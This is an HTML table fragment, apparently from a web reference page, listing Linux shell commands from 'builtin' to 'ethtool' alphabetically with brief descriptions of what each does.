<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> builtin</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Run a shell builtin</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> bzip2</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Compress or decompress named files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">C</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cal</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display a calendar</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> case</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Conditionally perform a command</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cat</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Concatenate and print (display) the content of files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cd</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Change Directory</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cfdisk</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Partition table manipulator for Linux</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> chgrp</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Change group ownership</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> chmod</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Change access permissions</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> chown</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Change file owner and group</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> chroot</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Run a command with a different root directory</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> chkconfig</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> System services (runlevel)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cksum</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print CRC checksum and byte counts</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> clear</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Clear terminal screen</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cmp</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Compare two files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> comm</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Compare two sorted files line by line</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> command</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Run a command – ignoring shell functions</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> continue</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Resume the next iteration of a loop</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cp</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Copy one or more files to another location</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cron</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Daemon to execute scheduled commands</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> crontab</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Schedule a command to run at a later time</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> csplit</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Split a file into context-determined pieces</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> cut</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Divide a file into several parts</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">D</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> date</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display or change the date and time</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> dc</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Desk Calculator</td></tr>
<tr style="border: 0px; font-family: inherit; height: 76px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 76px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> dd</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 76px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Convert and copy a file, write disk headers, boot records</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ddrescue</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Data recovery tool</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> declare</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Declare variables and give them attributes</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> df</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display free disk space</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> diff</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display the differences between two files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> diff3</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Show differences among three files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> dig</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> DNS lookup</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> dir</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Briefly list directory contents</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> dircolors</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Colour setup for `ls’</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> dirname</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Convert a full pathname to just a path</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> dirs</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display list of remembered directories</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> dmesg</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print kernel &amp; driver messages</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> du</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Estimate file space usage</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">E</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> echo</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display message on screen</td></tr>
<tr style="border: 0px; font-family: inherit; height: 76px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 76px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> egrep</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 76px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search files for lines that match an extended expression</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> eject</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Eject removable media</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> enable</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Enable and disable builtin shell commands</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> env</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Environment variables</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ethtool</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Ethernet card settings</td></tr>
